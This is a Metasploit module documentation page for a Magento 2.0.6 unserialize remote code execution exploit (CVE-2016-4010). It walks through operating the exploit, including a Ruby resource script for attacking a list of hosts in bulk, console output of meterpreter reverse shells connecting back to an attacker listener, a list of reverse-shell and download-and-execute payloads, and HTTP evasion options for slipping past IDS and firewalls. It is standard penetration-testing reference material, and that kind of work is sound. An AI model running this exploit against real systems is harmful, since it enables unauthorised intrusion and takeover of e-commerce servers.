Magento 2.0.6 Unserialize Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/magento_unserialize metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Magento 2.0.6 Unserialize Remote Code Execution
Module: exploit/multi/http/magento_unserialize
Source code: modules/exploits/multi/http/magento_unserialize.rb
Disclosure date: 2016-05-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-4010
This module exploits a PHP object injection vulnerability in Magento 2.0.6 or prior.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using magento_unserialize against a single host
Normally, you can use exploit/multi/http/magento_unserialize this way:
msf > use exploit/multi/http/magento_unserialize
msf exploit(magento_unserialize) > show targets
... a list of targets ...
msf exploit(magento_unserialize) > set TARGET target-id
msf exploit(magento_unserialize) > show options
... show and set options ...
msf exploit(magento_unserialize) > exploit
Using magento_unserialize against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your magento_unserialize will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/magento_unserialize")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Magento is a popular open-source e-commerce platform written in PHP. An unserialization vulnerability exists in the product that allows an unauthenticated user to gain arbitrary code execution.
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
For testing purposes, you can download the vulnerable applications here.
Install
To set up a vulnerable version of Magento, please follow these steps. This is specific to Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
- Set up a Ubuntu box.
- Open a terminal, and enter:
sudo apt-get install apache2 - Enter:
sudo apt-get install php5 - Enter:
sudo a2enmod rewrite - Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block:
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
- Download the vulnerable Magento app
- Extract the compressed file:
tar -xf magento2-2.0.5.tar.gz - Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too)
- In terminal, enter:
sudo chmod 644 /var/www/html/.htaccess - Enter:
sudo service apache2 restart - Enter:
sudo apt-get install mysql-server-5.6. And follow the installation instructions of MySQL. - Enter:
sudo apt-get install php5-mysql - Enter:
sudo apt-get install php5-mcrypt - Enter:
sudo php5enmod mcrypt - Enter:
sudo apt-get install php5-xsl php5-curl php5-intl - Enter:
sudo service apache2 restart - cd to /var/www/html, enter:
sudo mkdir tmp, and cd to tmp - In tmp, do:
curl -sS https://getcomposer.org/installer | php - Enter:
sudo mv composer /usr/local/bin/composer - In /var/www/html, do:
composer install - You will be asked for a username (public key) and password (private key). You can register for one here: https://marketplace.magento.com/
- Back to terminal, enter:
mysql -h localhost -u root -p[password] - In mysql, enter:
create database magento, and exit - Go to http://localhost with a browser, and install Magento through the web interface.
- After installation, back to Magento directory, and enter:
sudo rm -rf var/cache/* - Enter:
sudo rm -rf var/generation/* - Enter:
sudo rm -rf var/page_cache/* - cd to /var/www/html/bin
- Enter:
sudo php magento deploy:mode:set developer. It should say that you're in developer mode. - Enter:
sudo php magento setup:static-content:deploy - Enter:
sudo php magento indexer:reindex - Enter:
sudo chmod -R 777 /var/www/html - Go to http://localhost, you should see Magento up and running.
- From Magento, log in as admin, and create a product. After creating one, make sure this product
is:
- Either includes a shipping address, or does not have a weight.
- Searchable from the front-end.
If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
- From the terminal, do:
mysql -h localhost -u [username] -p[password] - In the SQL prompt, do:
use [magento database name] - Do:
select * from core_config_data;, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP. - Do:
update core_config_data set value='http://[IP]/' where config_id=2; - Do:
update core_config_data set value='https://[IP]/' where config_id=3; - Back to the Magento directory, do:
sudo rm -rf var/cache/* - Also do:
sudo rm -rf var/generation/* - Also do:
sudo rm -rf var/page_cache/* - Browse to Magento again with the new IP, it should be up and running again.
Verification Steps
- Start msfconsole
- Do:
exploit/multi/http/magento_unserialize - Do:
set RHOST [IP] - Do:
set PAYLOAD php/meterpreter/reverse_tcp - Do:
set LHOST [IP] - Do:
exploit - And you should get a session
Scenarios
msf exploit(magento_unserialize) > check
[*] 192.168.1.108:80 The target appears to be vulnerable.
msf exploit(magento_unserialize) > exploit
[*] Started reverse TCP handler on 192.168.1.94:4444
[+] 192.168.1.108:80 - generated a guest cart id
[+] 192.168.1.108:80 - backdoor done!
[*] Sending stage (33721 bytes) to 192.168.1.108
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/magento_unserialize exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/magento_unserialize
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/magento_unserialize) > show info
Name: Magento 2.0.6 Unserialize Remote Code Execution
Module: exploit/multi/http/magento_unserialize
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-05-17
Provided by:
Netanel Rubin
agix
mr_me <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic Targeting
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits a PHP object injection vulnerability in Magento
2.0.6 or prior.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-4010
https://www.exploit-db.com/exploits/39838
http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/
http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
https://magento.com/security/patches/magento-206-security-update
Module Options
This is a complete list of options available in the multi/http/magento_unserialize exploit:
msf6 exploit(multi/http/magento_unserialize) > show options
Module options (exploit/multi/http/magento_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Advanced Options
Here is a complete list of advanced options supported by the multi/http/magento_unserialize exploit:
msf6 exploit(multi/http/magento_unserialize) > show advanced
Module advanced options (exploit/multi/http/magento_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/magento_unserialize module can exploit:
msf6 exploit(multi/http/magento_unserialize) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/magento_unserialize exploit:
msf6 exploit(multi/http/magento_unserialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/magento_unserialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/magento_unserialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13133 Merged Pull Request: doc cleanup
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6937 Merged Pull Request: Added module Magento Unserialize() Remote Code Execution
References
- CVE-2016-4010
- EDB-39838
- http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/
- http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
- https://magento.com/security/patches/magento-206-security-update
See Also
Check also the following modules related to this module:
- exploit/multi/http/vbulletin_unserialize
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/unix/webapp/joomla_akeeba_unserialize
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/linux/http/kaltura_unserialize_rce
- exploit/multi/http/pimcore_unserialize_rce
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/webapp/horde_unserialize_exec
- exploit/unix/webapp/invision_pboard_unserialize_exec
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/sugarcrm_unserialize_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/tuleap_unserialize_exec
Authors
- Netanel Rubin
- agix
- mr_me <mr_me[at]offensive-security.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
